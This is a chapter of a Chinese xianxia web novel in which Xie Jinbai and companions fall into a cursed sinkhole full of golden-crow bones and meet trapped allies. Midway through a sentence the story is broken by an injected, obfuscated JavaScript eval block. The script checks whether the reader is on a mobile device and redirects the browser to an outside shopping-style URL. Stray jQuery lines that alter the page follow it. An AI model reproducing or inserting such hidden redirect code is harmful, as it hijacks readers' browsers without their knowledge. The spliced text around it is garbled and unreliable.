秘境深处并未出现预想中噬人的凶兽,而是一片望不到边际的瑰丽花海。馥郁的幽香扑面而来,清冷甘冽,直透神魂,让人的所有忧思瞬间消弭。
慕易之走过去薅了一大把:“楚无咎那小子给我们看过忘川花的画像,这好像就是忘川花吧?”
谢烬白蹲下细细观察,花瓣是半透明的灰白,花心却流动着幽蓝的涟漪。
“没错,就是忘川花。”
而这时,慕易之的双目却突然变得空洞,手臂无力垂下,脚步自行迈开,朝着前方走去。
玉琛下意识想把他拉回来,却被谢烬白阻止了:“忘川花有问题,先别碰他,跟着他走。”
直至走到花海中央,脚底触感陡然一变,成了坚硬的焦土。眼前的幻象如潮水般退去,取而代之的是一座广阔而深邃的天坑。
朝下望去,焦黑破碎的巨鸟残骸嵌在岩壁之上,都保持着向天挣扎的姿态,颈骨高昂,利爪向天,嶙峋的翼骨奋力张开。
这天坑竟是一座坟冢。
更令谢烬白心神震颤的是,此地的秽气之浓郁,直接化作了粘稠的黑色雾霭,自天坑底部汩汩涌出。
真邪门啊!
慕易之已经走到了天坑边缘,眼看就要掉下去,谢烬白揪着他的后衣领把他拽了回来,一个手刀砍到他的后脖颈上:“醒醒。”
“嘶——”慕易之猛地清醒过来,疼得嗷嗷叫,“打我干什么?怎么了?发生什么了?”
谢烬白示意他往下看:“这骸骨的形状应该是鸟族,你可认得这是什么妖?”
慕易之注意到骸骨间盛放着血色妖花,每片花瓣都烙印着太阳纹章,笃定地说:“是金乌。”
“相传上古时期,金乌一族栖于扶桑树上。自万妖劫过后,金乌一族血脉尽断,没想到尸骨居然在这里。”
“不对啊……”慕易之喃喃道,“按理来说,金乌是太阳之精,死后应该回归天地之间,身化长虹,骨为天柱。它们的尸骸怎么会深陷于污浊泥淖,与秽气怨念纠缠不清?”
“完了完了,我有一种不祥的预感。”
自从来到这里后,玉琛心中就涌起一股难言的悲伤。
他望向谢烬白,银眸中弥漫着水汽:“哥哥,我好像能感受到它们的不甘和怨恨。”
谢烬白替他擦去眼泪,安慰道:“不管过去发生过什么,也都是几万年前的事了,和你没有关系。这里是至阴至秽之地,不要被影响了心神。”
玉琛点头。
就在这时,一股无可抗拒的吸力猛地从坑底传来,攫住了玉琛。玉琛身形一轻,整个人便被那道力量凌空卷起,直坠而下。
他惊呼出声,第一反应就是喊:“哥哥——”
谢烬白来不及细想,身体已先于意识而动,抓住了玉琛的手腕。
然而,那吸力远超想象。他非但未能将玉琛拉回,反而和玉琛一同坠落。
风声在耳边厉啸,下坠的过程无比漫长。
终于,谢烬白重重落在坑底,略显几分狼狈。他立刻翻身而起,手中却陡然一空。
他从始至终都紧握着玉琛的手,可此刻身旁却空无一人。
玉琛不见了。
慕易之是自己跳下来的,轻盈地落在地面:“玉琛呢?你不是抓住他了吗?”
谢烬白也是百思不得其解:“对啊,我明明抓住了他的手,他是怎么在我眼皮子底下消失的?”
“初代种都身负妖神的血脉,他与金乌算是同根同源。不管我们谁有危险,他都不会有事。”慕易之没好气地说,“你有空担心他,还不如担心担心我们的处境。你低头看看脚底踩着的都是什么。”
谢烬白目光所及,无数骸骨在天坑底部堆积成山,既有人类的尸骨,也有各种妖兽的尸骨,森白的色泽在翻涌的秽气中若隐若现。
慕易之突然舔了舔唇:“其实抛开这些尸骨不谈,此地就是我梦寐以求的洞天福地。要是能把这里的秽气全吸收了,说不定我能直接从金丹晋升到化神!”
谢烬白有些心累:“抛开这些尸骨不谈?你怎么敢抛开这些尸骨不谈?最诡异的就是这些尸骨上都没有伤痕,不如猜猜他们到底是怎么丧命于此的?”
但好像不用猜了……
谢烬白耳边骤然响起了万千亡魂的诅咒,细若游丝,却又直抵灵魂深处。
那是由金乌族群临死前的仇恨与执念汇聚而成的诅咒,历经数万年而不散,反而在此地郁结、发酵,变得愈发暴烈。
谢烬白祭出千机扇抵挡诅咒,还不忘提醒慕易之:“护好自己的识海和神魂,这是诅咒。”
慕易之已经抱头跪倒在地,眼球布满血丝,喉间溢出野兽般的嘶吼:“诅咒是吧?好好好,老子吞了你们!”
他说到做到,竟真的开始吸收那极其恶毒的诅咒。
谢烬白眼皮一跳:“你确定诅咒也能吞?”
“能不能行的,试试不就知道了?”慕易之还没说完就呕出一大口鲜血,立刻改口,“好像不太行……”
试试就逝世。
谢烬白:“……”
你非要在这么凶险的时候逗我笑吗?
慕易之虚弱地说:“把贪吃虫还给我,它能带我们去安全的地方。”
谢烬白虽然不知道他有什么方法,但料想他也不会在这种时候耍心眼:“行,我来挡住诅咒,你带路。”
万万没想到,慕易之口中安全的地方,不过是一个防护罩和一群难兄难弟。
防护罩里有三个人,而谢烬白认识两个。
血吻衣,有过一面之缘。
鬼章,这算是老熟人了。
慕易之隔老远就大喊出声:“吻衣吻衣,救我狗命。”
血吻衣打开防护罩让他进来,咬牙切齿地说:“慕易之,你千万别告诉我,你是来救我们的。”
慕易之点头:“对啊对啊。你感动不?”
血吻衣冷笑:“我应该感动吗?现在我们都被困在了这里!”
谢烬白之前想不通的地方现在都想通了。
慕易之为什么会来栖灵之森?又为什么愿意跟着他和玉琛从天坑边缘跳下来?那是因为他的同伴被困在了这里。
慕易之和血吻衣都是蛊师,他们之间能通过蛊来寻找对方的下落,也不是什么难事。
但谢烬白不相信慕易之没有后手,只是过来白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791871|189342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
添一个人头。
他很好奇慕易之之后打算做什么。
慕易之突然清了清嗓子:“对了,介绍一下,这位是跟我一起来救你们的谢先生。”
谢烬白:你说什么就是什么吧。
血吻衣看着谢烬白,苦笑出声:“谢公子,没想到再次相遇,居然是在这种地方。”
谢烬白说:“我也没想到,确实挺意外的。”
慕易之又对谢烬白说:“你认识血吻衣,我就不介绍了。那个瘦瘦高高的灵修也是我们黑店的人,你叫他瘦猴就行。”
瘦猴冲谢烬白拱了拱手。
作为全场唯一一个灵修,他倒是坦然自若。
“至于另外一个……”慕易之也不认识,“吻衣,他谁啊?”
血吻衣说:“他叫鬼章,当初跟我们一起进的栖灵之森。他是来保护我的,具体情况有点复杂,以后再跟你解释。”
谢烬白盯着鬼章,嘴角缓缓浮起一抹微笑。
他该怎么拿回他的储物袋呢?
既然五人已经相互认识,谢烬白有话就直问了:“血老板,你为什么会来栖灵之森?”
“因为我。”瘦猴说,“我前段时间接了一位雇主的订单,要到栖灵之森找忘川花,请了吻衣姐来帮忙。”
血吻衣悔不当初:“报酬太高了,我根本拒绝不了。”
谢烬白问:“你们说的雇主该不会是森城城主吧?”
“没错。”血吻衣脸色难看,“坑底的尸骨实在太多了,我怀疑是城主在献祭,妄图让金乌复生。”
谢烬白摇头:“不是城主。城主见你们迟迟没有带回忘川花,就自己组建了队伍到栖灵之森,而且他的儿子是领队。他总不能让自己的儿子来送死吧?”
“再者说了,这天坑里的尸骨堆积如山,并非一朝一夕可以形成,至少要经历数千年的累计。”
血吻衣思索:“那还能是谁做的?”
谢烬白偏头看向慕易之:“你之前说过,神树有灵。”
“你说扶桑树?”慕易之这下不嘻嘻了,“别搞啊,我带了能强行划破空间,脱离秘境的穿云梭。照你那么说,我们就算能逃出栖灵之森,也不可能逃出森城啊。”
谢烬白笑了:“原来这就是你的后手啊。不过我的猜测不一定是对的,你也可以赌一把,万一离开了呢?”
慕易之的脸皱成了苦瓜:“如果扶桑树是幕后黑手,那我们只能成为这些尸骨的一员了。”
“别那么悲观啊。”谢烬白说,“外面的诅咒能解决,我们能离开栖灵之森,就算扶桑树出手也能对付。”
“只要我的储物袋还在,这些都不是问题”
自从看见谢烬白以后就一直降低存在感,一直都没敢出声的鬼章:“……”
你到底是没放过我啊!
谢烬白蹲到鬼章面前,注视他的眼睛,微笑着说:“鬼章兄,一日不见如隔三秋,你都不知道我有多思念你。”
“我还担心你会被提拔成永夜城的城主,这样我就再也见不到你了,没想到这么快又重逢了,而且是在这样的情况下重逢。”
“你怎么不笑啊?见到我不高兴吗?”